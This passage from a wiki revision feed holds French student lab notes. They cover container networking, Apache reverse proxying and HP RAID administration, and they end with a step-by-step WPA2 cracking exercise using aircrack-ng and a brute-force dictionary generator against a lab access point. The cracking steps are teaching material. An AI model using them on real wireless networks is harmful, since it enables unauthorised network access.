 b287061163af        b7f9916f224e        &amp;quot;/bin/bash&amp;quot;              22 minutes ago      Up 22 minutes       0.0.0.0:80-&amp;gt;80/tcp       objective_bhabha&lt;br /&gt;
 8ee36885e7fb        registry:2          &amp;quot;/entrypoint.sh /etc…&amp;quot;   5 weeks ago         Up 38 minutes       0.0.0.0:5000-&amp;gt;5000/tcp   registry&lt;br /&gt;
&lt;br /&gt;
===Configuration de apache2 :===&lt;br /&gt;
Comme fait avant nous allons atribuer des noms de domaines aux adresse ip des conteneurs, sachant que l'adresse ip du DNS A est la même que l'adresse ip de la machine physique&lt;br /&gt;
Puis dans &amp;lt;code&amp;gt;/etc/apache2/sites-available/&amp;lt;/code&amp;gt; :&lt;br /&gt;
 &lt;br /&gt;
 root@zabeth04:/etc/apache2/sites-available# cat 000-default.conf&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
 	 ServerName tham1.plil.space&lt;br /&gt;
 	 ServerAdmin webmaster@tham1.plil.space&lt;br /&gt;
 	 DocumentRoot /var/www/html/tham1/&lt;br /&gt;
 &lt;br /&gt;
 	 ProxyPass / http://192.168.4.2/&lt;br /&gt;
 	 ProxyPassReverse / http://192.168.4.2/&lt;br /&gt;
 	 ProxyRequests Off&lt;br /&gt;
 &lt;br /&gt;
 	 ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
 	 CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
         ServerName tham3.plil.space&lt;br /&gt;
         ServerAdmin webmaster@tham3.plil.space&lt;br /&gt;
 	 DocumentRoot /var/www/html/tham3/&lt;br /&gt;
 &lt;br /&gt;
         ProxyPass / http://192.168.4.3/&lt;br /&gt;
         ProxyPassReverse / http://192.168.4.3/&lt;br /&gt;
         ProxyRequests Off&lt;br /&gt;
 &lt;br /&gt;
 	 ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
         CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 # vim: syntax=apache ts=4 sw=4 sts=4 sr noet&lt;br /&gt;
Après avoir modifer notre fichier html et relancer apache2, nous obtenant bien un résultat identique à celui d'avant.&lt;br /&gt;
&lt;br /&gt;
11h10 =&amp;gt; Serveurs Web OK (unshare)&lt;br /&gt;
&lt;br /&gt;
12h20 =&amp;gt; Serveurs Web OK (docker)&lt;br /&gt;
&lt;br /&gt;
=Séance 3 : TP PRA=&lt;br /&gt;
Le sujet choisi ici est le sujet n°10 : HP + DAS -&amp;gt; Baie.&lt;br /&gt;
Notre travail consiste à installer un OS Devuan sur un serveur HP et ensuite le connecter à un DAS HP.&lt;br /&gt;
&lt;br /&gt;
==Le matériel==&lt;br /&gt;
Le serveur est un HP ProLiant DL380 G5, ses caractéristiques sont les suivantes :&lt;br /&gt;
&lt;br /&gt;
XX&lt;br /&gt;
XX&lt;br /&gt;
&lt;br /&gt;
Le SAS est un HP StorageWorks MSA60.&lt;br /&gt;
Au départ nous pouvons voir qu'il est peuplé de 11 disques durs SATA classiques (pas comme le serveurs qui est peuplé de disques SATA dont le connecteur physique est spécifique HP). Chaque disque dur a une capacité de 1To.&lt;br /&gt;
&lt;br /&gt;
Sur le panneau arrière nous constatons qu'il  y a une redondance d'alimentations, et deux connecteurs SAS SFF-8088 (io/out)&lt;br /&gt;
&lt;br /&gt;
==Mise en route du serveur==&lt;br /&gt;
Lors de la mise en route du serveur, nous constations trois problèmes :&lt;br /&gt;
 -Les ventilateurs tournent à  100% sans arrêt.&lt;br /&gt;
 -La LED internal health clignote rouge.&lt;br /&gt;
 -Un bip long est émis périodiquement.&lt;br /&gt;
&lt;br /&gt;
De ce fait, nous avons ouvert le serveur, et une inspection visuelle montrera que ce dernier était dépourvu de RAM. Après consultation du manuel, nous avons vu que la RAM nécessaire était de la DDR2 ECC Registred.&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite monté 2x1Go de RAM sur le slot 1 et 3 correspondant au channel A.&lt;br /&gt;
&lt;br /&gt;
Une fois remonté, le serveur bootait correctement.&lt;br /&gt;
&lt;br /&gt;
==Installation de Devuan==&lt;br /&gt;
Le serveur peut booter sur un périphérique USB, nous avons donc récupéré une clé avec un Devuan bootable installé dessus. Après avoir mis la clé en premier boot dans le bios, le serveur boot sans souci sur la clé.&lt;br /&gt;
Le souci que nous allons rencontrer se trouve au moment du partitionnement. De vieilles grappes RAID sont toujours configurées et plus d'actualité, nous allons donc y remédier.&lt;br /&gt;
&lt;br /&gt;
Pour ce faire, nous entrons dans l'utilitaire de configuration RAID (au boot F9 puis F8), supprimons toutes les grappes existantes et en créons une nouvelle en RAID5.&lt;br /&gt;
&lt;br /&gt;
Une fois fait, nous pouvons installer notre Devuan sur la grappe avec les configurations classiques (utilisateur pifou et mot de passe habituel).&lt;br /&gt;
&lt;br /&gt;
==Configurations réseau==&lt;br /&gt;
Dans un premier temps, nous avons raccordé l'interface réseau principale du serveur au réseau polytech.&lt;br /&gt;
&lt;br /&gt;
Nous avons trouvé une adresse ip disponible sur le réseau et l'avons configurée dans interfaces :&lt;br /&gt;
&lt;br /&gt;
  nano /etc/network/interfaces&lt;br /&gt;
&lt;br /&gt;
Pour l'interface eth0 :&lt;br /&gt;
&lt;br /&gt;
  address 127.26.145.146/24&lt;br /&gt;
  gateway 192.26.145.253&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous avons configuré les DNS :&lt;br /&gt;
&lt;br /&gt;
  nano /etc/resolv.conf&lt;br /&gt;
&lt;br /&gt;
  domain polytech-lille.org&lt;br /&gt;
  search deule.net&lt;br /&gt;
  nameserver 192.48.57.48&lt;br /&gt;
  nameserver 193.48.57.33&lt;br /&gt;
&lt;br /&gt;
Et enfin nous avons ajouté le proxy polytech :&lt;br /&gt;
&lt;br /&gt;
  nano ~/.profile&lt;br /&gt;
&lt;br /&gt;
  export http_proxy=http://proxy.polytech-lille.fr:3128&lt;br /&gt;
&lt;br /&gt;
Une fois fait, notre serveur avait accès au réseau de polytech.&lt;br /&gt;
&lt;br /&gt;
==Mise en route du DAS==&lt;br /&gt;
Comme dit précédemment, le DAS et le serveur communiquent via un port SAS, or nous n'avions pas de câble. Nous avons donc lancé une commande de 4 câbles, et afin de pouvoir travailler, avons emprunté un cable dans le local technique.&lt;br /&gt;
&lt;br /&gt;
IMAGE&lt;br /&gt;
&lt;br /&gt;
Une fois les branchements effectués, nous pouvons mettre le DAS sous tension, celui ci démarre sans difficulté et les jeux de couleurs de leds nous montrent que certains disques peuvent être défectueux.&lt;br /&gt;
&lt;br /&gt;
Coté serveur, un lsblk nous montre que les disques ne sont pas encore visibles.&lt;br /&gt;
Afin d'y remédier, nous retournons dans l'utilitaire RAID du bios pour créer un RAID5 avec les disques présents.&lt;br /&gt;
&lt;br /&gt;
De retour sur devuan, la grappe est visible via lsblk.&lt;br /&gt;
&lt;br /&gt;
==Installation des outils HP==&lt;br /&gt;
HP fournit un outil en ligne de commandes nous permettant d'administrer les disques : ssacli.&lt;br /&gt;
&lt;br /&gt;
L'installation se fait via les étapes suivantes :&lt;br /&gt;
&lt;br /&gt;
Ajout du dépôt :&lt;br /&gt;
&lt;br /&gt;
  nano /etc/apt/sources.list&lt;br /&gt;
&lt;br /&gt;
  deb http://downloads.linux.hpe.com/SDR/repo/mcp/ stretch/current non-free&lt;br /&gt;
  deb http://downloads.linux.hpe.com/SDR/repo/mcp/ precise/current non-free&lt;br /&gt;
&lt;br /&gt;
Ajout des clés :&lt;br /&gt;
&lt;br /&gt;
  curl http://downloads.linux.hpe.com/SDR/hpPublicKey1024.pub | apt-key add -&lt;br /&gt;
  curl http://downloads.linux.hpe.com/SDR/hpPublicKey2048.pub | apt-key add -&lt;br /&gt;
  curl http://downloads.linux.hpe.com/SDR/hpPublicKey2048_key1.pub | apt-key add -&lt;br /&gt;
  curl http://downloads.linux.hpe.com/SDR/hpePublicKey2048_key1.pub | apt-key add -&lt;br /&gt;
&lt;br /&gt;
Si curl n'est pas installé, vérifier que le dépot devuan est dans le fichier sources.list :&lt;br /&gt;
&lt;br /&gt;
  nano /etc/apt/sources.list&lt;br /&gt;
&lt;br /&gt;
  deb http://deb.devuan.org/merged ascii main&lt;br /&gt;
  deb-src http://deb.devuan.org/merged ascii main&lt;br /&gt;
&lt;br /&gt;
Rafraîchir les sources :&lt;br /&gt;
&lt;br /&gt;
  apt-get update&lt;br /&gt;
&lt;br /&gt;
Installer curl :&lt;br /&gt;
&lt;br /&gt;
  apt-get install curl&lt;br /&gt;
&lt;br /&gt;
Réessayer d'ajouter les clés.&lt;br /&gt;
&lt;br /&gt;
Une fois fait, on eut procéder à l'installation des outils HP :&lt;br /&gt;
&lt;br /&gt;
  apt-get install hp-health ssacli&lt;br /&gt;
&lt;br /&gt;
=Séance 4 : TP PRA (Suite)=&lt;br /&gt;
Dans un premier temps, nous commençons par remplacer les disques défectueux.&lt;br /&gt;
Grâce à la commande&lt;br /&gt;
&lt;br /&gt;
  ssacli ctrl all show config detail&lt;br /&gt;
&lt;br /&gt;
nous pouvons voir que deux disques sont en predictive failure (les disques 3 et 8) et un disque est HS (le disque 4).&lt;br /&gt;
&lt;br /&gt;
Nous procédons au remplacement par des disques neufs.&lt;br /&gt;
&lt;br /&gt;
Une fois fait, nous ajoutons le disque 6 qui était manquant.&lt;br /&gt;
&lt;br /&gt;
Le nouveau disque en place, nous allons essayer de l'ajouter à la grappe existante.&lt;br /&gt;
&lt;br /&gt;
On entre dans le programme ssacli et on fait un premier était des lieux :&lt;br /&gt;
&lt;br /&gt;
  ctrl all show config&lt;br /&gt;
&lt;br /&gt;
Cela nous permet d'apprendre que nous avons notre grappe de 1TB en Array A et celle de 10TB en Array B, et que notre controlleur est sur le slot 4.&lt;br /&gt;
&lt;br /&gt;
On liste ensuite les disques physiques :&lt;br /&gt;
&lt;br /&gt;
  ctrl slot 4 pd all show&lt;br /&gt;
&lt;br /&gt;
Notre disque a ajouter est le 1E:1:6&lt;br /&gt;
&lt;br /&gt;
On l'ajoute alors a la grappe B :&lt;br /&gt;
&lt;br /&gt;
  array B add drives=1E:1:6&lt;br /&gt;
&lt;br /&gt;
Ceci nous retournera un message d'erreur nous indiquant que le cache est désactivé du fait que la batterie du contrôleur est morte. Ceci est visible en lançant la commande :&lt;br /&gt;
&lt;br /&gt;
  show&lt;br /&gt;
&lt;br /&gt;
IMAGE&lt;br /&gt;
&lt;br /&gt;
Etant donné que nous n'avons pas de données  perdre sur les disques, nous allons supprimer la grappe existante et en recréer une nouvelle.&lt;br /&gt;
&lt;br /&gt;
  controller slot=4 array B delete&lt;br /&gt;
&lt;br /&gt;
  ctrl slot=4 create type=ld drives=1E:1:1,1E:1:2,1E:1:3,1E:1:4,1E:1:5,1E:1:6,1E:1:7,1E:1:8,1E:1:9,1E:1:10,1E:1:11,1E:1:12 raid=5&lt;br /&gt;
&lt;br /&gt;
La grappe raid est créée avec succès, nous pouvons d'ailleurs suivre son état :&lt;br /&gt;
&lt;br /&gt;
  array B show&lt;br /&gt;
&lt;br /&gt;
  ctrl slot=4 show config&lt;br /&gt;
&lt;br /&gt;
De cette manière nous pouvons voir que le disque rajouté au slot 6 est également en predictive failure.&lt;br /&gt;
&lt;br /&gt;
Nous procédons à son remplacement, et après quelque instants un show config nous montre que le raid est en reconstruction :&lt;br /&gt;
&lt;br /&gt;
  ctrl slot=4 show config&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[fichier:Reconstruction raid.jpg|center|600px]]&lt;br /&gt;
&lt;br /&gt;
=Séance 5 : Mise en place du serveur DNS et crack WPA2=&lt;br /&gt;
&lt;br /&gt;
==Mise en place du serveur DNS==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Crack de réseau Wifi WPA==&lt;br /&gt;
Afin d'expérimenter le crack d'une clé WPA, nous allons travailler sur les points wifi cracotte avec la suite logicielle aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, nous faisons un ifconfig pour connaitre le nom de la carte wifi :&lt;br /&gt;
&lt;br /&gt;
IMAGE IFCONFIG&lt;br /&gt;
&lt;br /&gt;
Dans notre cas elle s'appelle wlp3s0.&lt;br /&gt;
&lt;br /&gt;
On commence par déconnecter la carte de tous les réseaux afin d'optimiser la vitesse des operations suivantes :&lt;br /&gt;
&lt;br /&gt;
  ifconfig wlp3s0 down&lt;br /&gt;
&lt;br /&gt;
On place la carte en &amp;quot;monitor mode&amp;quot;&lt;br /&gt;
&lt;br /&gt;
  airmon-ng start wlp3s0&lt;br /&gt;
&lt;br /&gt;
On peut vérifier que l'interface est bien en monitor mode avec airmon-ng&lt;br /&gt;
&lt;br /&gt;
IMAGE AIRMONNG&lt;br /&gt;
&lt;br /&gt;
Une fois fait, on scanne les réseaux wifi a portée afin de connaitre les paramètres de notre cible :&lt;br /&gt;
&lt;br /&gt;
  airodump-ng mon0&lt;br /&gt;
&lt;br /&gt;
IMAGE AIRODUMP&lt;br /&gt;
&lt;br /&gt;
De ce scan, nous tirons plusieurs informations : &lt;br /&gt;
-De ou nous scannons, cracotte 10 a le meilleur signal, nous allons nous concentrer dessus.&lt;br /&gt;
-Nous notons son BSSID : 04:DA:D2:9C:50:59&lt;br /&gt;
-Son channel : 9&lt;br /&gt;
&lt;br /&gt;
Nous avons maintenant toutes les infos nécessaires pour récupérer le handshake avec aerodump :&lt;br /&gt;
&lt;br /&gt;
  airodump-ng -c 9 --bssid 04:DA:D2:9C:50:59 -w /home/thibault/wpa/ mon0&lt;br /&gt;
&lt;br /&gt;
IMAGE HANDSHAKE&lt;br /&gt;
&lt;br /&gt;
Après quelque instants nous pouvons voir que le handshake est récupéré. A partir de cet instant nous n'avons plus à interagir avec le réseau, tout ce qu'il nous faut est contenu dans le fichier *.cap généré par airodump.&lt;br /&gt;
&lt;br /&gt;
La dernière étape avant de lancer la procédure de brute-force est la génération du dictionnaire.&lt;br /&gt;
&lt;br /&gt;
Pour cet exercice, nous savons que le mot de passe est composé de exactement 8 chiffres. Un programme très simple réalisé en C permet de générer toutes les combinaisons :&lt;br /&gt;
&lt;br /&gt;
  #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
  &lt;br /&gt;
  int main() {&lt;br /&gt;
  	for(int i=0;i&amp;lt;=99999999;i++) {&lt;br /&gt;
  		printf(&amp;quot;%08d\n&amp;quot;,i);&lt;br /&gt;
  	}&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
  gcc -o dico dico.c&lt;br /&gt;
  ./dico &amp;gt; dico.txt&lt;br /&gt;
&lt;br /&gt;
On remarque que le dictionnaire pèse déjà 900mo malgré le fait que nous avons déjà des informations nous permettant de limiter les possibilités.&lt;br /&gt;
&lt;br /&gt;
Le brute-force peut maintenant commencer :&lt;br /&gt;
&lt;br /&gt;
  aircrack-ng /home/thibault/wpa/-07.cap -w /home/thibault/wpa/dico.txt&lt;br /&gt;
&lt;br /&gt;
Une première estimation du pire temps nous indique 7h de traitement. Finalement après quelque heures, la solution est trouvée :&lt;br /&gt;
&lt;br /&gt;
IMAGE_KEYFOUND&lt;br /&gt;
&lt;br /&gt;
L'image ci dessus nous montre enfin la clé WPA de cracotte10.&lt;/div&gt;</summary>
		<author><name>Tcattela</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G9&amp;diff=48548</id>
		<title>TP sysres IMA5sc 2018/2019 G9</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G9&amp;diff=48548"/>
				<updated>2018-12-10T21:54:37Z</updated>
		
		<summary type="html">&lt;p&gt;Tcattela : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Séance 1 : TP ASR=&lt;br /&gt;
Lors de cette première séance, nous avons eu pour objectif de créer les 3 containers et de les faire communiquer.&lt;br /&gt;
&lt;br /&gt;
==Création d'un container avec unshare==&lt;br /&gt;
&lt;br /&gt;
===Création de l'image disque===&lt;br /&gt;
  dd if=/dev/zero of=disc1.img bs=1024K count=10240&lt;br /&gt;
&lt;br /&gt;
===Mise en place du file system===&lt;br /&gt;
  mkfs disc1.img&lt;br /&gt;
&lt;br /&gt;
===Création du point de montage et montage de l'image===&lt;br /&gt;
  mkdir /tmp/rootfs1&lt;br /&gt;
  mount -o loop disc1.img /tmp/rootfs1&lt;br /&gt;
&lt;br /&gt;
===Installation du debian dans le point de montage===&lt;br /&gt;
Afin de pouvoir installer debian, il faut que la machine accède à internet :&lt;br /&gt;
&lt;br /&gt;
  export http_proxy=http://proxy.polytech-lille.fr:3128/&lt;br /&gt;
&lt;br /&gt;
debootstrap permet d'installer debian ainsi que apache2 et vim pour que nous puissions travailler dans la séance 2 :&lt;br /&gt;
&lt;br /&gt;
  debootstrap --include=nano,vim,apache2 stable /tmp/rootfs1&lt;br /&gt;
&lt;br /&gt;
===Simplification de l'accès===&lt;br /&gt;
  echo &amp;quot;proc /proc proc defaults 0 0&amp;quot; &amp;gt;&amp;gt; /tmp/rootfs1/etc/fstab&lt;br /&gt;
&lt;br /&gt;
===Clonage des images===&lt;br /&gt;
  L'image est maintenant prête, nous pouvons maintenant la cloner afin d'en avoir 3 identiques. Pour cela on démonte l'image 1 :&lt;br /&gt;
&lt;br /&gt;
  umount /tmp/rootfs1&lt;br /&gt;
&lt;br /&gt;
On copie l'image :&lt;br /&gt;
&lt;br /&gt;
  cp disc1.img disc2.img&lt;br /&gt;
  cp disc1.img disc3.img&lt;br /&gt;
&lt;br /&gt;
On monte les 3 images :&lt;br /&gt;
&lt;br /&gt;
  mount -o loop disc1.img /tmp/rootfs1&lt;br /&gt;
  mount -o loop disc2.img /tmp/rootfs2&lt;br /&gt;
  mount -o loop disc3.img /tmp/rootfs3&lt;br /&gt;
&lt;br /&gt;
===Lancement des trois containers===&lt;br /&gt;
  unshare nous permet de lancer les trois images précédemment montées :&lt;br /&gt;
&lt;br /&gt;
  unshare -n -u -p -f -m chroot /tmp/rootfs1 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
  unshare -n -u -p -f -m chroot /tmp/rootfs2 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
  unshare -n -u -p -f -m chroot /tmp/rootfs3 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Les trois containers sont maintenant lancés, nous pouvons travailler dessus.&lt;br /&gt;
&lt;br /&gt;
==Mise en place du réseau==&lt;br /&gt;
&lt;br /&gt;
Nos containers étant lancés et fonctionnels, nous allons maintenant les connecter en réseau.&lt;br /&gt;
&lt;br /&gt;
===Création de 4 interfaces virtuelles===&lt;br /&gt;
&lt;br /&gt;
  ip link add vif1 type veth peer name eth0@vif1&lt;br /&gt;
  ip link add vif2 type veth peer name eth0@vif2&lt;br /&gt;
  ip link add vif3 type veth peer name eth0@vif3&lt;br /&gt;
  ip link add vif4 type veth peer name eth1@vif4&lt;br /&gt;
&lt;br /&gt;
===Connexion de chaque interface à une interface eth0 sur les containers===&lt;br /&gt;
&lt;br /&gt;
  ip link set eth0@vif1 netns /proc/&amp;lt;pid1&amp;gt;/ns/net name eth0&lt;br /&gt;
  ip link set eth0@vif2 netns /proc/&amp;lt;pid2&amp;gt;/ns/net name eth0&lt;br /&gt;
  ip link set eth0@vif3 netns /proc/&amp;lt;pid3&amp;gt;/ns/net name eth0&lt;br /&gt;
&lt;br /&gt;
pid1, pid2, pid3 peuvent être déterminés via la commande :&lt;br /&gt;
  ps aux | grep unshare&lt;br /&gt;
&lt;br /&gt;
===Connexion à eth1 sur le premier container===&lt;br /&gt;
&lt;br /&gt;
  ip link set eth1@vif1 netns /proc/&amp;lt;pid1&amp;gt;/ns/net name eth1&lt;br /&gt;
&lt;br /&gt;
===Création d'un bridge===&lt;br /&gt;
&lt;br /&gt;
  ip link add interne type bridge&lt;br /&gt;
&lt;br /&gt;
===Ajout de vif4 à bridge===&lt;br /&gt;
L'interface eth0 de la zabeth est sur le bridge, on connecte donc vif4 à bridge&lt;br /&gt;
&lt;br /&gt;
  ip link set vif4 master bridge&lt;br /&gt;
&lt;br /&gt;
===Ajout de vif1, vif2, vif3 à interne===&lt;br /&gt;
&lt;br /&gt;
  ip link set vif1 master interne&lt;br /&gt;
  ip link set vif2 master interne&lt;br /&gt;
  ip link set vif3 master interne&lt;br /&gt;
&lt;br /&gt;
===Activation de toutes les interfaces===&lt;br /&gt;
&lt;br /&gt;
  ip link set vif1 up&lt;br /&gt;
  ip link set vif2 up&lt;br /&gt;
  ip link set vif3 up&lt;br /&gt;
  ip link set bridge up&lt;br /&gt;
  ip link set interne up&lt;br /&gt;
&lt;br /&gt;
===Attribution des adresses ip===&lt;br /&gt;
&lt;br /&gt;
On commence par attribuer les ip de la forme 192.168.4.xxx aux interfaces connectées à bridge :&lt;br /&gt;
&lt;br /&gt;
  nsenter -t &amp;lt;PID1&amp;gt; -n ip address add dev eth0 192.168.4.1/24&lt;br /&gt;
&lt;br /&gt;
  nsenter -t &amp;lt;PID2&amp;gt; -n ip address add dev eth0 192.168.4.2/24&lt;br /&gt;
&lt;br /&gt;
  nsenter -t &amp;lt;PID3&amp;gt; -n ip address add dev eth0 192.168.4.3/24&lt;br /&gt;
&lt;br /&gt;
On attribue une ip vacante sur 172.26.145.xxx au container 1 sur l'interface eth1 :&lt;br /&gt;
&lt;br /&gt;
  nsenter -t &amp;lt;PID1&amp;gt; -n ip address add dev eth1 172.26.145.234/24&lt;br /&gt;
&lt;br /&gt;
===Activation des interfaces sur les containers&amp;gt;===&lt;br /&gt;
Sur chaque containers, lancer :&lt;br /&gt;
&lt;br /&gt;
  ip link set dev eth0 up&lt;br /&gt;
  ip link set dev lo up&lt;br /&gt;
&lt;br /&gt;
Ainsi que sur le container 1 :&lt;br /&gt;
&lt;br /&gt;
  ip link set dev eth1 up&lt;br /&gt;
&lt;br /&gt;
Les containers sont maintenant fonctionnels et connectés selon le schéma suivant :&lt;br /&gt;
&lt;br /&gt;
  bridge : eth0 eth1 vif4&lt;br /&gt;
&lt;br /&gt;
  interne : vif1 vif2 vif3&lt;br /&gt;
&lt;br /&gt;
Et donc :&lt;br /&gt;
 root@zabeth04:/home/pifou# brctl show&lt;br /&gt;
 bridge name	bridge id		STP enabled	interfaces&lt;br /&gt;
 br-d8330a30a134		8000.0242b8ae38c5	no&lt;br /&gt;
 bridge		8000.00224d7aeaa1	no		eth0&lt;br /&gt;
                                         eth1&lt;br /&gt;
                                         vif4&lt;br /&gt;
 docker0		8000.0242ad165937	no		veth0b1f71b&lt;br /&gt;
 interne		8000.3ee68d5b1e14	no		vif1&lt;br /&gt;
                                         vif2&lt;br /&gt;
                                         vif3&lt;br /&gt;
&lt;br /&gt;
=Séance 2 : TP ASR (suite)=&lt;br /&gt;
Lors de cette séance, nous allons configurer apache2 afin de pouvoir accéder à deux sites web différents hébergés sur les containers 2 et 3, et ce depuis des noms de domaine choisis.&lt;br /&gt;
&lt;br /&gt;
==Attribution des noms de domaine==&lt;br /&gt;
&lt;br /&gt;
Afin d'obtenir un nom de domaine, nous nous connections sur gandi.net.&lt;br /&gt;
&lt;br /&gt;
Onglet Domaines, on choisit le domaine plil.space.&lt;br /&gt;
&lt;br /&gt;
Onglet DNS Records, on ajoute un DNS type A :&lt;br /&gt;
&lt;br /&gt;
  Nom : tham2&lt;br /&gt;
  IP : 172.26.145.234&lt;br /&gt;
&lt;br /&gt;
Puis on ajoute deux DNS type Cname :&lt;br /&gt;
&lt;br /&gt;
  Nom : tham1 &amp;amp; tham3&lt;br /&gt;
  Nom d'hote : tham2&lt;br /&gt;
&lt;br /&gt;
De cette manière, nous pouvons maintenant accéder à 172.26.145.234 via tham1.plil.space et tham3.plil.space&lt;br /&gt;
&lt;br /&gt;
==Configuration d'apache2==&lt;br /&gt;
&lt;br /&gt;
===Fichier conf===&lt;br /&gt;
Les configurations de site se trouvent dans /etc/apache2/sites-available/, nous allons donc configurer 000-default.conf :&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
  	ServerName tham1.plil.space&lt;br /&gt;
  	ServerAdmin webmaster@tham1.plil.space&lt;br /&gt;
  	DocumentRoot /var/www/html/tham1/&lt;br /&gt;
  &lt;br /&gt;
  	ProxyPass / http://192.168.4.2/&lt;br /&gt;
  	ProxyPassReverse / http://192.168.4.2/&lt;br /&gt;
  	ProxyRequests Off&lt;br /&gt;
  &lt;br /&gt;
  	ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
  	CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
      ServerName tham3.plil.space&lt;br /&gt;
      ServerAdmin webmaster@tham3.plil.space&lt;br /&gt;
  	DocumentRoot /var/www/html/tham3/&lt;br /&gt;
  	&lt;br /&gt;
      ProxyPass / http://192.168.4.3/&lt;br /&gt;
      ProxyPassReverse / http://192.168.4.3/&lt;br /&gt;
      ProxyRequests Off&lt;br /&gt;
  &lt;br /&gt;
  	ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
      CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On redirige tham1.plil.space vers le container 2 et tham3.plil.space vers le container 3 via leurs ip (192.168.4.2 et 192.168.4.3)&lt;br /&gt;
&lt;br /&gt;
===Activation des modules proxy et proxy_http===&lt;br /&gt;
&lt;br /&gt;
  a2enmod proxy&lt;br /&gt;
  a2enmod proxy_http&lt;br /&gt;
&lt;br /&gt;
===Activation du site===&lt;br /&gt;
&lt;br /&gt;
  a2ensite 000-default.conf&lt;br /&gt;
&lt;br /&gt;
Tout est maintenant configuré, on peut donc rebooter apache :&lt;br /&gt;
&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
===Création d'une page web===&lt;br /&gt;
&lt;br /&gt;
Dans les containers 2 et 3 on créé une simple page web et on reboot apache :&lt;br /&gt;
&lt;br /&gt;
Container 2 :&lt;br /&gt;
&lt;br /&gt;
  cat 1 /var/www/html/index.html&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
Container 3 :&lt;br /&gt;
&lt;br /&gt;
  cat 3 /var/www/html/index.html&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
===Visualisation de la page web===&lt;br /&gt;
&lt;br /&gt;
On commence par désactiver le proxy sur firefox, et on peut accéder aux pages :&lt;br /&gt;
&lt;br /&gt;
  tham1.plil.space/index.html&lt;br /&gt;
&lt;br /&gt;
firefox affiche 1&lt;br /&gt;
&lt;br /&gt;
  tham3.plil.space/index.html&lt;br /&gt;
&lt;br /&gt;
firefox affiche 3&lt;br /&gt;
&lt;br /&gt;
==Création d'un conteneur avec Docker :==&lt;br /&gt;
Nos conteneurs et serveur web fonctionnent très bien, mais la procedure de création est relativement longue, c'est pour cela que nous allons utiliser Docker pour recréer nos conteneurs et les gérer.&lt;br /&gt;
&lt;br /&gt;
===Création d'une première image :===&lt;br /&gt;
Nous avons créé un premier container à l'aide la commande :&lt;br /&gt;
 docker run -i -t debian /bin/bash&lt;br /&gt;
Exporte de la variable d'environement hhtp_proxy :&lt;br /&gt;
 export http_proxy=http://proxy.polytech-lille.fr:3128/&lt;br /&gt;
Instalation d'un éditeur de texte et d'un serveur web :&lt;br /&gt;
 apt-get install nano vi apache2&lt;br /&gt;
&lt;br /&gt;
===Création de trois conteneurs dans un même réseau :===&lt;br /&gt;
Avec un &amp;lt;code&amp;gt;docker ps&amp;lt;/code&amp;gt; nous avons recupérer l'id du conteneur puis :&lt;br /&gt;
 docker commit -m &amp;quot;debian&amp;quot; 367f5e8adddf&lt;br /&gt;
Création d'un réseau :&lt;br /&gt;
 docker network create tham&lt;br /&gt;
Création des trois conteneurs à partir de l'image, en veillant à bien relier le port 80 du reverse proxy au port 80 de la machine : &lt;br /&gt;
 docker run --net tham -i -t b7f9916f224e /bin/bash&lt;br /&gt;
 docker run --net tham -i -t b7f9916f224e /bin/bash&lt;br /&gt;
 docker run --net tham -p 80:80 -i -t b7f9916f224e /bin/bash&lt;br /&gt;
Et donc :&lt;br /&gt;
 root@zabeth04:/home/pifou# docker ps&lt;br /&gt;
 CONTAINER ID        IMAGE               COMMAND                  CREATED             STATUS              PORTS                    NAMES&lt;br /&gt;
 8e4a821cf3a3        b7f9916f224e        &amp;quot;/bin/bash&amp;quot;              18 minutes ago      Up 18 minutes                                confident_leakey&lt;br /&gt;
 c5ec790866ae        b7f9916f224e        &amp;quot;/bin/bash&amp;quot;              19 minutes ago      Up 19 minutes                                objective_golick&lt;br /&gt;
 b287061163af        b7f9916f224e        &amp;quot;/bin/bash&amp;quot;              22 minutes ago      Up 22 minutes       0.0.0.0:80-&amp;gt;80/tcp       objective_bhabha&lt;br /&gt;
 8ee36885e7fb        registry:2          &amp;quot;/entrypoint.sh /etc…&amp;quot;   5 weeks ago         Up 38 minutes       0.0.0.0:5000-&amp;gt;5000/tcp   registry&lt;br /&gt;
&lt;br /&gt;
===Configuration de apache2 :===&lt;br /&gt;
